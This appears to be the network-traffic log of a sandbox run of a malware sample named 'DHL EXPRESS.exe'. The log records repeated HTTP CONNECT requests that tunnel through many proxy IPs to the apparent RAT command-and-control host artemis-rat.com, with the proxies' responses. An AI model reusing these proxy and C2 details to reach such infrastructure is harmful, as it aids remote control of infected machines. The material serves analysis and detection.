1337	192.168.2.8	53647	117.160.250.131	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.293035030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.309845924 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.8	53441	51.159.221.176	10309	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.293589115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.409658909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.410054922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.8	53839	103.190.54.141	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.294936895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.268939972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.566054106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261672020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.456559896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.568830013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.768857002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.203252077 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:37:14.502499104 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.8	53909	61.79.73.225	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.296892881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.8	53903	60.190.68.154	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.297617912 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:51.641932011 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1342	192.168.2.8	53893	203.112.134.74	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.298218966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1343	192.168.2.8	53290	217.145.199.47	56746	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.303076982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1344	192.168.2.8	53829	175.183.82.221	8197	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.303078890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1345	192.168.2.8	53394	195.138.65.34	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.308319092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1346	192.168.2.8	53908	45.11.95.165	5213	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.309192896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1347	192.168.2.8	53880	175.183.82.221	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.387521029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1348	192.168.2.8	52248	103.105.228.35	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.387623072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.776273012 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1349	192.168.2.8	53382	109.194.22.61	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.387653112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1350	192.168.2.8	53583	162.214.225.223	37581	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.400521040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.409837961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.410053968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.409951925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.503206015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1351	192.168.2.8	52276	185.22.8.70	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.417371035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1352	192.168.2.8	53922	104.16.230.163	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.428617954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.582938910 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1353	192.168.2.8	53930	104.19.79.238	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.429145098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.583776951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1354	192.168.2.8	53749	117.160.250.132	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.430573940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.564734936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.583789110 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:55 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1355	192.168.2.8	53588	103.72.79.250	55644	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.432879925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.457125902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.472474098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.565926075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.569035053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1356	192.168.2.8	53550	120.194.4.157	5443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.438175917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1357	192.168.2.8	53915	177.67.136.241	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.440206051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1358	192.168.2.8	53912	31.134.151.40	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.441396952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1359	192.168.2.8	53936	172.67.181.51	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.441745043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.595792055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1360	192.168.2.8	53931	35.190.107.16	30000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.445413113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1361	192.168.2.8	53944	172.67.181.144	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.455445051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.615617990 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1362	192.168.2.8	53916	163.172.129.251	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.471419096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1363	192.168.2.8	53515	91.134.140.160	9141	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.471506119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.331098080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.800580025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.706636906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.597053051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.409539938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.206319094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:48.706485987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:27.659447908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1364	192.168.2.8	53423	102.128.173.1	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
